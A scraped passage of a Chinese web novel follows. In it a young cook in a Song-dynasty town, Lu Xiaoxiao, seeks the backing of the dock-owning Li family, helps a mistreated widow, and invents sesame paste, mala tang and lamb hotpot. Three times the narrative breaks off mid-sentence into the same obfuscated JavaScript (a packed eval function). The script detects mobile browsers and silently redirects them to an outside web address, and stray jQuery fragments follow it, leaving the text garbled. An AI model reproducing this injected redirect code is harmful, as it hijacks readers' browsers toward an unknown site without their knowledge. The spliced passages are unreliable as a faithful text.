“天杀的李家，那老虔婆见春花的男人没了，先是说春花带着两娃，干不了地里的活，把地里的粮全都收到了自家库里，接着又说春花带着两娃自个住不安全，接回了老宅，让小儿子儿媳霸了春花的宅子，如今是日日给春花立规矩，使她干活。” 张大娘想到自家闺女受人如此磋磨，就觉得心疼不已。 “婶子、晓晓，若只是我受苦也就罢了，可他们还欺负我的娃儿，前几日被他两个哥哥捉弄得落了水，差点没了命。”杜春花哽咽道，想到那日的事情，杜春花如今都觉得后怕不已。 “李家族老，村里的里正都不管吗?”卢晓晓问道。 “他们都是姓李的，惯会装腔作势，睁一只眼闭一只眼的，就欺负春花一个外姓人。”张大娘愤愤道。 见卢晓晓面露难色，又开口道，“惠娘、晓晓，我们也是没了办法，才来找你们的。若是能帮得上忙，我们全家都会记住这份恩情，若是帮不上忙，也不要为难。” “婶子，不是我不想帮忙，只是我与主簿和里长实在是不熟，开张的事都是元大少爷张罗的。” 卢晓晓想了想，又将里长娘子今日在宋家对她的责难说了一番，道，“婶子、春花姐姐，如今我已惹得里长娘子不快，若是贸然去请里长主持公道，只怕会帮了倒忙。” “那可如何是好，我们是真没啥法子了。”张大娘丧气道。 “可有寻咱村里正讨回公道?”卢二娘子提议，一村的里正不仅要管村里的事务，还要保护自己的村民。 “去过了，春花一回来，春花她爹就跟杜里正去了李家村，可李家说他们既没打骂春花，又没饿着他们母子，杜里正管不着。” 张大娘接着又道，“我和他爹想把女儿、外孙接回杜家村养，李家也不让，只让春花自己回来。” “大娘、春花姐姐，不若我们这几日再好好想想办法，我去寻元大少爷，看能不能请他帮个忙，把春花姐姐的田地宅子要回来。” 56. 芝麻酱 送走了张大娘母女，卢晓晓回灶房捡了几块鸡蛋糕，寻一食盒装上，唤了顶轿子，往宋府去了。 到了宋府，门上的婆子见是她，问怎么回来了，卢晓晓往婆子手里塞了钱，道，“烦请妈妈唤下银杏姐姐。” 银杏便是老太太院里的大丫鬟。 不一会儿，一个唤春儿的小丫鬟过来了，“卢小娘子，银杏姐姐在老太太跟前伺候，走不开，使我过来看看。” “我做了些鸡蛋糕，很是蓬松绵软，想叫老太太尝尝，便送了些过来，这上面一碟子是给老太太的，下面一碟子是给银杏姐姐的。” 春儿接了过来，道，“小娘子你且在这等等，我把食盒拿进去，看银杏姐姐有什么话。” 等春儿走了，卢晓晓跟婆子聊了起来，问婆子是哪里人，在宋府待了多久了，婆子说她是大夫人的陪房，原就是这城关镇上的人。 卢晓晓又说婆子定是极受宋夫人的信重，才能来看门子，这活看着不起眼，可却是顶顶重要的，后院往来的客人都要经过她。 婆子听了满意极了，觉得卢晓晓比好些来客的丫鬟都识道，知道她这看门婆子的重要，不是她夸，除了奶嬷嬷和几个大丫鬟，大夫人就属见她见得最多。 卢晓晓见这婆子说开了怀，便状似无意地说道，今日在老太太处见到的马夫人好生气派，大夫人这人脉广，跟里长娘子也这样亲密。 婆子很是不以为意，道这马娘子的来头比大夫人差多了，她家老爷当了里长后，才来宋府走动的，这几月来得尤其勤快，不是来找大夫人，就是来找来找二夫人，老太太寿辰那日，更是早早就来了，跟着张罗这张罗那的，好不殷勤。 卢晓晓和婆子在门上聊着马夫人，宋老太太也正在跟宋夫人说着话。 “老大媳妇，马家娘子近来常上咱家来?”老太太屏退了丫鬟，只留管事嬷嬷在屋里。 “她近来常递了帖子过来，二弟媳那也没少去，她常夸云想，话里话外想与我们家做亲，我没接花。” “她家是走李家的路子当上的里长，你最近在外头可有听到她们不合的风声?” “倒是没有听说什么，上月李家的席面上，我见她对着李家大娘子很是热络，不像生了嫌隙的样子。”宋夫人回忆道。 宋夫人想了想，又道，“不过，我在那席面上还见到了李家村的里正娘子，那里正似是今年才换上来的，那娘子也是厉害人，来席面没多久就叫李家大娘子亲亲热热的叫她妹妹了。” “明年就要重选里长了，怕是马家娘子想再寻一处助力，这事你怎么看?”宋老太太道。 “从云想的婚事说，我是不同意的，前些日子，马家来托老爷想要把大儿子送进咱宋家学堂，老爷特地去说了好话，都没成。我听连玉说，那马家小子连最基础的帖经、墨义都答不上来，还不如个十二岁的少年郎，想来也没什么出息。” “那这确实不是良配，我见那马家娘子惯会踩低捧高，也不是什么实在的人，咱就不与马家掺和了，只当不知她的意思，回头你也跟老二媳妇通声气。”宋老太太吩咐道。 “是，母亲。”宋夫人答应道。 “云想的岁数也不小了，可有相看人家?” “老爷想从学堂里的学子寻摸，让连玉好生接触看看。” “这主意好，我听说连玉在学堂里书念的不错，若是能从他同窗里寻一人做云想的夫君，日后也能有个照应。” 两人又闲话了几句，才叫人进来伺候。 “老太太，卢小娘子给送了些鸡蛋糕来，说是新鲜出炉的，最是香甜松软，可要端上来尝尝?”银杏进来道。 “这卢小娘子果然是伶俐，这是来探咱家意思了。”老太太乐道。 “母亲，可要指点她一二?” “银杏，你出去跟她这样说……” 等银杏提着食盒出来，卢晓晓已经跟婆子亲热似家人了，一口一个婶子，哄得婆子乐开了花。 见银杏出来，两人赶紧打住话头，卢晓晓迎了上去，亲亲热热地叫了声“银杏姐姐”。 银杏把食盒递给她，道，“鸡蛋糕老太太很是喜欢，还赏了一碟子柿儿饼，这柿儿饼可是管着码头的李家送来的，如今市面上还吃不着呢！老太太真是宠你得紧。” 揭开盖子，里头是一碟色泽黄亮的柿饼，“银杏姐姐，可带了手帕?我给你包上两块。” 卢晓晓给银杏包了两块柿饼，等银杏回了院里，又给看门的婆子两块，这才喊了轿子回铺里去了。 管码头的李家，她要如何借上势呢? 回到铺子，卢晓晓捡了几样吃食，给卢二娘子说了声，又出门去了，一日里，接连外出，好不忙碌。 这一趟出去，直到天擦黑，铺子打了烊，才回来。 卢二娘子一早就打发了收铺回来的卢大郎去接妹妹，可不见人，终究放不下心。 在巷子口等了好一会，远远见到两人的身影，悬着的心才放下，回到铺子，连声吩咐道，“二郎，你妹妹回来了，快去热饭。杏花，去端两盆热水出来，让他们暖暖手，歇一歇。” 等两人进了门，歇了会儿，晚食也端上来了。 “晓晓，今日这事可要紧?他们可会把咱家铺子霸了去?”卢大贵问道。 他从村里回来，就听卢二娘子说了马夫人的事，马家势大，不是他们这种平头百姓可以比的，若是马家存心要他们家买卖，他们怕是要吃大亏。 “咱这小铺子，马家应该不会做什么出格的事吧?”卢二娘子迟疑道。 “那马家人跋扈得很，马思远在学堂里就没少欺负同窗，马思远就是马家的大儿子，读书读得可差。我听令德兄说，若不是他爹是里长，夫子都要叫他回去了。” “那他可有欺负你?”卢晓晓问道。 “他先前笑话我给同窗带吃食，我没理他，后来又想捉弄我，我没中套，反倒叫他自己吃了个哑巴亏，也就没再找我茬了。学堂的事我都能处理，姐姐快说咱家铺子的事吧！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517218|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我下午又去了趟宋府，宋老太太给指了条路，让我们去投李家。”卢晓晓慢慢说道。 “哪个李家，我们如何能靠得上?”卢二娘子问道。 “镇上管码头的李家，我到何衙差家打探了下，听说这马家跟李家来往甚密，当初是托了李家的关系当上的里长，咱们若是跟李家做生意，马家该是不敢打咱的主意了。” 一说码头，赵杏花便想到了赵二叔，“上回我二叔来，说是救了东家的小儿子，说的东家可是你说的李家?” “应该是的，这李家有几艘货船，码头上装货卸货的脚夫也都是他们在管。” “那我们如何能靠上他们?我听说镇上的粮油铺子和珍宝阁是他家的生意，没听说他们有做吃食生意。”卢大郎道。 “他们不做吃食生意，或许是没有遇到合适的，咱若是有好点子，说不定他们乐意至极。”卢晓晓道。 “晓晓，可是有主意了?”说到吃食，卢二郎就精神了。 “我最近在琢磨的吃食，正适合在码头卖，明日做些出来让你们尝尝。大嫂，你能否明日去码头一趟，让赵二叔请张管事来铺里吃饭?不拘哪一日，他请好了，给爹说一声就成。” “自然是可以的，明日爹去码头取虾蟹的时候，我跟着一块去，铺子里要你们多照看了。”赵杏花应道。 “你放心去吧，家里人手够着呢！”自家的事有了眉目，卢二娘子松了好大一口气，接着又想起春花的事来。 “晓晓，今日张大娘来托的事，你可有什么办法?”卢二娘子忍不住问道。 “她有什么事来找晓晓?”卢大贵不解地问道。 “春花男人去了，那家人尽欺负他们孤儿寡母的，打着照顾她们娘几个的名头，霸了田，占了屋，还不让春花把田宅卖了，带着孩子回娘家来。张嫂子便想着晓晓认识里长，看能不能请来他主持公道。咱家如今的处境，比不认识还要差几分，哪能帮上忙?可春花又着实可怜。”卢二娘子叹道。 “我今日探到了个消息，还真想到了一个主意，不过还得看他们家的意思，得筹谋一番才能成事。”卢晓晓道。 “有主意好过没主意，再说你的主意向来都好。”卢二娘子这下更是松了口气。 卢晓晓将心中的想法一说，又说明了这里头的利害关系，几人都觉得这法子能成，又仔细推敲了一番，让卢大贵明日回村后说予他们。 到了第二日，卢晓晓一大早便开始准备新吃食用的酱料。 精选上好的白芝麻，放水中浸泡一小会儿，用手轻轻的拨弄，让秕粒、空皮和杂质浮于水面，捞出后弃置，然后将清洗干净的芝麻捞出晾干备用。 起锅烧小火，将芝麻倒入锅中，不停翻炒，让铁锅的热气烘干芝麻的水分，直至用手可轻轻捏碎，然后起锅倒入碗中，用勺子不停翻动，散去热气。 等芝麻冷却倒入石磨中，加入温水，细细研磨，磨制好的芝麻酱色泽棕黄，用筷子沾了些放嘴里，只觉满口的细腻醇香。 57. 麻辣烫 卢晓晓其实更喜欢老北京二八酱，二分芝麻酱加上八分花生酱，花生酱的醇香中和掉芝麻微微发苦的后味，细腻绵长。 可惜北宋时，花生还未从海外传入中国。 做好芝麻酱，接着做辣油、麻油。 将晾干的茱萸、辣椒分次放入锅中，小火翻炒焙干水分，再分别用石臼捣制成沫，倒入盆中掺和均匀，加入盐、少许糖、一小勺醋调味，再将一大勺的熟芝麻撒于茱萸辣椒面上。 起锅将油加热，待油温微微冒热气，加入生姜、大葱增香调味，炸至干枯焦黄时，捞出大料，待油温再次升起，油面冒气后起锅。 先舀一汤勺的热油均匀地浇在芝麻上，激出芝麻的香味，然后迅速将芝麻与茱萸辣椒面拌匀，再舀一勺热油浇入碗中，继续翻搅，让碗中的调料受热均匀，最后将剩下的热油都倒入碗中，红亮香辣的辣油就制得了。 辣油用了茱萸和辣椒，丰富了辣味的层次，味道也更加醇厚。红艳油亮的色泽，浓郁的香辣气味令人垂涎欲滴。 再做麻油，麻油的做法与辣油略有不同。将麻椒洗净控干水分备用，起锅将油加热，筷子伸入锅中略微起泡时，将晾干的麻椒用漏勺下入锅中，转小火熬煮，再加入生姜、大葱增香，不断翻动锅中的配料，让麻椒的麻味和香气渐渐融入油中，直到麻椒变得微黄，便熬制好了。 卢晓晓用筷子蘸了蘸放凉的麻油，放入口中，先是闻到一股清新浓郁的香味，接着一阵酥麻，然后渐渐平复下来，变得柔和醇厚。 接着又熬上一大锅骨汤，只等一会烫菜用。卢晓晓要做的吃食就是后世风靡大街小巷，让人欲罢不能的麻辣烫。 准备好汤底、调料，卢晓晓又开始制作鱼丸、虾丸、猪肉丸，鸡胸肉切片腌制，鸭血、莲藕、萝卜切成薄片，白菘、青菜洗净沥干水分，粉丝浸泡水中。 等一切准备妥当，灶房里已是大大小小的各种容器摆的满满当当的。往后若要做麻辣烫生意，还要寻卢爷爷打个放菜的架子，再编织一些竹篮。 又说卢大贵，先与赵杏花去了趟码头取海鲜，然后跟往日一样，去张家取鸭，李家取肉，接着去集市，看看有没有一些山珍野味卖，再把村里出来卖货的人家带回村，赚个车资。 回到杜家村，先把带回的吃食拿去卢二伯家，往日里卢大贵会先跟卢老爹说会话，再到老宅里侍弄种在屋后的辣椒。 今日要去找张大娘说事，放下东西，跟卢老爹招呼了几句，就驾着车走了。 到了张大娘家门口，正听到张大娘破口大骂春花的婆家黑心肝，骂杜有财没眼光，选了这样的亲家。 “大妹子，有财在家吗?”卢大贵在门外呼唤道。 屋里瞬间安静了下来，过了片刻，杜有财来开门，道，“大贵，找我何事呐?” “张妹子托晓晓的事情有些眉目了，我来说一声。” “她找晓晓何事?”杜有财疑惑道。 打从卢大贵找杜有财，张大娘就拉长了耳朵听什么事，听到是卢晓晓让来的，赶紧从屋里出来了。 “快快快，快进来，咱屋里说。” 卢大贵进了屋，张大娘的两个儿子都出去了，一个去了粉丝工坊干活，一个去了学堂读书，家里只有杜有财夫妻两人。 “我去给拿些吃食过来。”张大娘招呼道。 “大妹子别忙活了，我一会儿还有事，说完就走，咱都老邻居了，不用这样客套。”卢大贵道。 接着把卢晓晓的主意说了番，杜有财连声说这主意好，道这些事儿都不难，他立马去办，张大娘对他总算是有了好脸色。 这之后，城关镇渐渐起了个传闻，说是有一女子，嫁到婆家后，小夫妻辛辛苦苦攒下了一点家底，丈夫出了意外，夫家不但不帮忙，还霸了她家家财，苛待她们母子，好不可怜。为何无人伸张正义?只因这女子是外乡人。 等大家都对这女子的处境同情不已，传闻来了转折，说夫家村里的里正，帮理不帮亲，把这恶毒的婆家狠狠地训斥了一顿，又叫他们把霸了的家财还了回去，给了女子一个公道，人人都对这里正称赞不已。 杜有财使了劲，又托了关系，等传闻在城关镇越传越广，便不再动作，只等李家村里正的反应，势已经造起，就看他是乘势而上，还是被人抓住把柄了。 不过这些都是后话，说回如今的张大娘家。 张大娘得了这样好的主意，欢喜得很，要留卢大贵吃午食，卢大贵连忙拒绝了，道卢晓晓今日要做新吃食，他赶着回去尝味道呢，张大娘又是好一顿夸。 等卢大贵回了老宅，把红透了的辣椒摘下，浇上水，又去各家收了菜，紧赶慢赶回了铺子，还是过了午食的点，进门就问卢二娘子吃了吗。 “吃过了，可好吃了，连菜带汤吃得干干净净的，一点没剩。”卢二娘子回味道。 卢大贵一听，急道，“可是吃的麻辣烫?没给我剩一些吗?” “那么好吃的吃食，哪会有剩的？”卢二娘子笑道。 “爹，娘在逗你呢，麻辣烫是现煮的，一会儿就做好了，都给你留着呢！”端菜出来的卢二郎道。 “卢小哥，麻辣烫是何物啊?怎么不见铺里有卖的?”老客江大爷问道。 “自家试着做的，好吃才拿出来卖呢！江大爷今日吃得可好呀?” “好得很，虽说这粉丝外头有卖了，可这做出来的口感和味道都不如你家爽滑，我还是爱你家这一口。” “江大爷，好吃您就常来，过两日我们要出新吃食了，到时候您一定得来。” “成，下回呀，我把孙女带来尝尝你们的手艺，她也喜欢鼓捣吃食，就老不服气我说她做的不行。” 跟客人寒暄了几句，卢二郎回了灶房。灶房里卢晓晓正在给卢大贵煮麻辣烫。 只见她左手拿着个竹制漏勺，右手拿着双筷子，先将莲藕、萝卜夹入漏勺中，浸入沸腾的骨汤，接着将鱼丸、虾丸、猪肉丸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558437|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下入汤中，然后又往漏勺中下入鸡胸肉，最后放入白菘、青菜和粉丝。 一边加菜，一边抖搂勺子，让漏勺中的菜受热均匀，起勺时，略微颠一颠，一气呵成地倒入碗中，然后又将汤中的肉丸捞出。 接着加入一大勺调制好浓淡的麻酱料汁，一小勺辣油，少许麻油，再加入葱花，整整一大碗散发着诱人的香气。 “这是做好了?”卢大贵探头问道。 “爹，快拌一拌，尝一尝。”卢二郎忍不住催促道，刚才他可是吃了两大碗，若不是觉得肉丸做起来不易，他还能吃。 卢大贵对这各种食材混在一起的吃法很是新奇，这不就是乱煮吗?可能好吃? 他尝试性地用筷子拌了拌，让碗中的菜肉均匀的粘上酱料，先是夹起一筷子粉丝，最先入鼻的是辣油的辛辣香气，接着是浓郁的麻酱香气，送入口中，麻辣鲜香的味道在嘴里迸发。 “爹，怎么样?好吃吧?”卢二郎迫不及待地问道。 卢大贵冲他挥了挥手，把粉丝吸入口中，顾不得说话，又夹起一颗肉丸，入口鲜香不用说，肉丸经过反复的摔打，肉质充满弹性，又经过肉汤的熬煮，肉丸的孔隙中吸饱了汤汁，咬上一口，鲜嫩多汁。 卢大贵连着吃了好几颗肉丸，然后尝了口青菜，青菜的清香区别于肉香，给人清新的感觉，料汁又中和了青菜的涩感，青菜都变得美味起来。 “晓晓，这个麻辣烫真不错，又好吃，又热乎，冷天里来一碗可太美了，正适合在码头上卖。” 卢大贵农闲时也在码头上干过活，码头上的风呼呼的，要是能吃上这样一碗麻辣烫，疲惫寒冷都会被驱散了。 “这一碗打算卖多少钱呀?价格是不是不便宜呀?”若是价格高，码头上的人也舍不得吃，卢大贵心想。 “这麻辣烫不按碗卖，我打算把这些菜都放在篮子里，让客人自己拿，拿多少，收多少的钱。” “这主意好，舍不得的人少拿些，舍得的人多拿些，咱都照顾到了。”卢二郎一听就觉得这个法子好。 “那该如何算钱?”卢大贵又问道。 “这麻酱底料三文钱一份，粉丝三文钱，肉丸两文一颗，青菜一文钱一份，再擀些面条，也卖三文钱一份，还能卖些鸭血、豆腐。”卢晓晓盘算着。 “三文，三文，两文，一文，这有菜有肉最少九文钱。”卢大贵喃喃地算。 “这也太费事了，不如就定个十文钱的，另外加的再按菜算。”卢二郎忍不住道。 “二哥的主意好，这麻辣烫主要是卖的量，若是人人来吃都要单算钱，三个人都忙不过来。”卢晓晓思忖道。 三人定好了价格，各自忙活去了。卢晓晓继续琢磨麻辣烫，卢二郎在灶房做菜，卢大贵到了院子洗碗筷。 忽然，前头铺子喧闹起来。 卢晓晓和卢大贵赶忙跑了出去，只见一位俏生生的小娘子正站在铺子里，扬言要跟卢记食坊的厨子一较高下。 58. 涮羊肉 只见这小娘子约摸十三四岁的模样，长得明眸皓齿，穿着一身宝蓝色的短襦长裙，很是俏丽。 这样的一个小娘子来卢记食坊闹事，让卢晓晓很是摸不着头脑，忙上前问道，“小娘子，不知为何要找本店的厨子比较?” “你便是我要找的卢小娘子吗?不为什么，就是想与你切磋一番。”小娘子见来人与自己年岁相仿，身上带着芝麻香气，直觉眼前之人就是爷爷盛赞之人。 “我们是做小本生意的，能做的菜就是卖的这些，小女才疏艺浅，怕是没什么能和小娘子切磋的，不若您坐下来尝尝，若是有哪道菜不满意，您给指点一二，我们再好好改进。” “不可能，爷爷说卢记食坊的小娘子在吃食方面甚有天份，比我强上不少。” “小娘子的爷爷是何人?”卢晓晓疑惑。 “我爷爷是……”小娘子打住了话，不再往下说，她这回是偷偷出来的，若是被爷爷知道了，非得骂她不可。 想到这，不免心生怯意，又见铺子里的人都盯着她瞧，在家中被激起的求胜之心，一下子消失得无影无踪。 见小娘子不说话，赵杏花赶紧上前引她坐下，又问她吃些什么。 小娘子摇了摇头，脚步匆匆地离开了卢记食坊。 等灶房里的卢二郎得闲出来的时候，已经没了人影。 “晓晓，何事呀?” “卢小哥，有个小娘子说要跟卢小掌柜一较高下呢！结果没两句就跑了，我们想看小掌柜露两手都没得机会。”有客人道。 “不知是哪家的小娘子，跟家中长辈置气，跑出来的。今日叨扰各位吃饭了，一会儿啊，我就去片只烤鸭，咱一桌送上一碟子。”卢晓晓道。 “好久没见到小娘子片烤鸭了，卢小哥片得也好，但是我总觉得不如小掌柜片得好看。”客人笑道。 “李大爷，您这么说可是伤我的心了呀！我哪回儿不是片得又快又好的，前些日子还有大娘夸我的手艺俊呢！”卢二郎佯装伤心道。 不一会儿，在卢二郎的气氛带动下，铺子里有说有笑起来，等卢晓晓每桌再送上一碟子烤鸭，小小的风波已被人抛到了脑后。 到了晚上卢家人吃晚食的时候，只说了几句，便没再理会，全家人正满心思地琢磨怎么把麻辣烫卖到码头上！ 好在赵二叔办事牢靠，第二日一早便让卢大贵带回了话，说是初七立冬那日张管事便能得闲来食坊吃午食。 算算日子，还有两日的时间，既是过节，就更要好好准备了。立冬吃羊肉，卢晓晓赶紧到羊肉铺子定了半扇羊肉。 等到立冬那日，卢大贵一大早就将羊肉取了回来，卢晓晓将羊肉洗净后去骨去皮，又剔除筋膜，然后将羊肉块切成大片的薄片，叠放于盘中。 张管事是午时过后来的铺子，一同来的还有胡记商行的二老爷。 赵杏花远远地见到两人，便迎了上去，扬着笑脸招呼道，“张管事，盼星星盼月亮可把您盼来了，还有胡二老爷，稀客呀，您来真是我们铺子的福气。” 说话间，赵杏花把人领到后院的独间，只见这屋子里空荡荡的，中间是一张八仙桌，并几张椅子，靠窗是一张长条桌。八仙桌上有一盛水圆盘，不知何用。 “小娘子，听赵二说是卢小掌柜有事相商，不知所谓何事?”自打粉丝工坊开起来，这镇上的生意人对卢晓晓都高看了一眼。 “张管事，且等上一等，小掌柜她正在准备吃食，一会儿便送过来，今日说的事正和这吃食有关。” 不一会儿，卢晓晓过来了，端着一口热气腾腾的小锅，后头跟着卢二郎，一手提着一口红泥小火炉，一手拎着一小篮的炭。 卢二郎将小火炉置于深色水盘上，卢晓晓把锅放了上去。 没等卢晓晓开口介绍，胡二老爷就忍不住开口问道，“小娘子，这可是暖锅?” “暖锅是何物?”张管事一辈子在城关镇上，没有听过这种吃食。 “这暖锅呀，听说在文人雅士之间很是流行。在席上置一锅子，汤滚时，将肉涮入锅内，在汤中来回拨动，煮熟后捞起，以酱佐之。”胡二老爷答道。 “这倒是有意思，听说文人雅士很是爱自己动手，咱今日也要风雅一回了。” “二老爷真是见多识广，我也是偶然听人说起，便试着做了做，没想到，这吃法很是肉鲜味美。”卢晓晓把炉子的炭火点燃，笑道。 说话间，赵杏花和卢二郎回灶房端了调料和肉菜过来，两人来来回回好几趟，长条桌上被摆得满满当当的。 卢晓晓先是给两人介绍调制的调料汁，接着又给二人介绍了碗里盘里的各式食材。 这各式的食材里，最惹人注目的是三碟子色泽鲜艳的羊肉，只见大片的羊肉整齐错落的码在碟子中，片片薄厚均匀，很是诱人，二人对卢晓晓的刀工是夸了又夸。 接着又说桌上大小如浮元子的各式肉丸，白如玉的是鱼肉丸，红似火的是牛肉丸，白里透红的是鲜虾丸，各式丸类，让人眼花缭乱。 没等卢晓晓把食材介绍完，锅里的汤已经咕嘟咕嘟地沸腾起来，肉汤的香气弥漫开来，越发叫人觉得饥肠辘辘。 “汤烧开了，可以涮肉了！”胡二老爷迫不及待地催促道。 “这暖锅讲究涮菜的先后顺序和火候，若是二老爷和张管事不嫌弃，不若让我为两位涮菜?” “不嫌弃不嫌弃，这做吃食定是小掌柜更拿手。”张管事欣然答应。有人伺候当然比自己动手舒坦。 卢晓晓先将各式的丸子下入锅中，又解释道丸子是熟制的丸子，在汤中久煮，可以让汤汁充分渗入肉丸中，吃起来更是鲜嫩多汁，肉丸的肉味也会融入汤中，让汤底的味道更丰富。 胡二老爷听罢，很以为然，连连点头。 待到汤锅再次沸腾，卢晓晓将羊肉端了过来，用筷子轻轻的将肉推入锅中，然后迅速地拨弄开。 暖锅在后来又叫做拨霞供，说的就是这锅中的肉片如云似霞，来回的拨弄，好似拨霞，不过那都是文人雅士的说法，这会儿卢晓晓只管涮肉。 羊肉片薄，瞬息打卷变了颜色，卢晓晓将肉片捞起置于笊篱之上，再分装于碟子中，递给两人，又示意两人蘸料吃。 鲜嫩的羊肉被浓郁的芝麻酱包裹，入口只觉肉质鲜嫩，满口鲜香，让人忍不住连连下筷。 这边卢晓晓有条不紊地给两人涮肉、涮菜，那边铺子里来了个意外之客。 那日来挑衅的小娘子又来了！ 赵杏花远远地看见来人，“娘，前两日的小娘子又来了！” “那如何是好?不能让她扰了晓晓招待客人。”卢二娘子着急道。 接着又道，“你跟春芬先支应着，我上后头看看去。” 还不待赵杏花想到主意，小娘子已行至铺前，同时来的还有店里的老客江大爷。 眼见小娘子抬脚就要往铺里进，赵杏花只能借领江大爷入座的契机，一个错身将两人隔开，只希望小娘子今日别影响铺里的客人。 谁知那小娘子竟跟着坐了下来，没等赵杏花说话，江大爷便介绍道，“赵小娘子，这是我的大孙女，唤月瑶，原是在府城生活，前些日子来的城关镇。” “小娘子生得一副好样貌。”赵杏花夸赞道。 “卢小娘子可在铺子里?上回是我莽撞了，我来跟她道声歉。”江月瑶开门见山说道。 小姑娘本就长得乖巧喜人，如今更是一副潜心认错的表情，更叫人舍不得责怪了。 赵杏花连忙道，“她正在后头招呼客人，不打不相识，没想到江小娘子还擅厨艺。” “不瞒小娘子，老夫早年在府城是以手艺谋生的，如今年纪大了，把手艺传给了月瑶她爹，前些年跟老婆子回到了镇上。” “我八岁便跟着爷爷和爹爹练手艺了，人人都道我的手艺得到了他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630695|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真传，爷爷老夸卢小娘子，我一时意气，才跑来铺子说要切磋，扰了你们生意。如今看来还是差得远。”江月瑶不好意思道。 原来这江大爷不是普通的老餮，先前是府城鼎丰楼的掌勺，等他的儿子手艺学成，接了他掌勺的位置，才回到了镇上。 又说江月瑶那日从铺子里匆忙离开，却没有直接回家，而是到街上找了个不起眼的角落，招手寻了个闲汉，买了好些卢记食坊的吃食，带回家中。 回到家，将卢记食坊的各道菜品都细细品尝了一番，觉得这食坊的厨子徒有虚名，每道菜都各有不足，口味偏重，卖相也远比不上酒楼里卖的菜精致。 等江大爷回来，得意洋洋地把自己的发现说了。 江大爷叹了口气，这大孙女厨艺好是好，就是太过匠气，失了食物是让人获得满足的本真。 “瑶瑶，这吃食啊，最重要的是让人吃饱吃好了，你知道去卢记食坊的客人都是些什么人吗?这些人，多是些市井人家，喜欢吃些实在的、味浓的吃食，你拿鼎丰楼的要求来说事，就不合适了。” “还有呀，你可知这卢小娘子出身乡野，一手的厨艺没有师承，都是自己琢磨出来的，你爹跟你如今都没琢磨出粉丝怎么做吧?” 新鲜食材一出来，最在意的便是这些酒楼的大厨，琢磨粉丝做法的不仅有醉香楼的李师傅，江大爷也是一早就写了书信给府城的儿子，后来还买了干粉丝托人带过去。 江月瑶闻言不再神气，说到粉丝她便充满了挫败感，她和她爹琢磨了好长时间，倒是做出样子差不多的粉丝了，可是韧劲不足，极易断开，根本做不成菜。 江大爷之后又与她说了好多，又给她说卢晓晓不足半年的时间就从路边的小摊子开到了正街巷子的小铺子，还与人一道开了粉丝工坊，有的本事定不只是这几道菜。 听完，江月瑶越发地觉得卢晓晓了不起，十分想与卢晓晓结交，这才有了来道歉的事。 “卢小娘子在忙，如今这店里的吃食是谁做的呀?”江月瑶好奇道，没想到这小小的铺子竟然还能出两个厨子。 “嫂子，听说上回来闹事的小娘子又来了，在哪呢?”赵杏花刚想开口，卢二郎急匆匆地跑了过来，大咧咧地问道。 “二郎，上回是个误会，就别提了，给你介绍下，这是江姑娘，江大爷的孙女。” 一时间，两个年轻人都红了脸，一人是羞的，一人是臊的。 羞的是卢二郎，以为赵杏花给他介绍对象，臊的是江月瑶，一句“闹事的小娘子”让她臊得慌。 又说后院，胡二老爷和张管事吃得欢快，涮了羊肉，吃肉丸，吃了鸭血，又下鸭肠。好似各种食材只要这么下锅一涮，再在芝麻酱中一滚，都能变成人间美味。 等到两人食饱餍足，准备的食材已经吃得七七八八，两人撑得走不动道。 “卢小娘子，快坐下歇歇，这暖锅是太好吃了，今日找我来说的可是这暖锅的生意?” 卢晓晓将桌上的碗碟收了收，坐了下来，道，“是也不是，我想与张管事说的是麻辣烫的生意，与这暖锅一样，都是将食材以肉汤涮熟，再以酱料佐之。不同的是，麻辣烫要简单些，食材是一起煮熟的，又热乎，又快捷，最适合在码头上卖。” “这主意好，若是在码头上就能吃到这样好的吃食，往后城关镇我都多来两趟。老张，卢小娘子这是帮你们招揽生意呢！”胡二老爷大力赞扬道。 张管事却不如两人想象中的兴奋。只见他斟酌着开口道，“我虽然没吃过麻辣烫，但是今日吃了暖锅，又听小掌柜介绍，也觉得这麻辣烫的生意定是极好，但是这忙我实在是帮不上。您们二位不知，这码头上呀，有两位管事，一位是我，主管这装货卸货之事，还有一位李管事，主管码头上的买卖之事，我俩并无交情。” 卢晓晓一听，突然没了主意，本以为十拿九稳的事情，没想到竟突然断了门路。 59. 紫苏乌梅饮 寻人办事自然不是一顿吃食就能成的，卢晓晓提前换了张二十两的交子，用来打点张管事，如今看来是不够了。 这两个月积积攒攒，铺子里的分红加上给宋府老太太做吃食的赏钱，还有先前的一些结余，如今她手中有五十多两银子。 多托一个人，就要多给一份钱，手中的积蓄怕是要都花了出去。可如今马家的剑悬在头上，李家的势又不能不借。 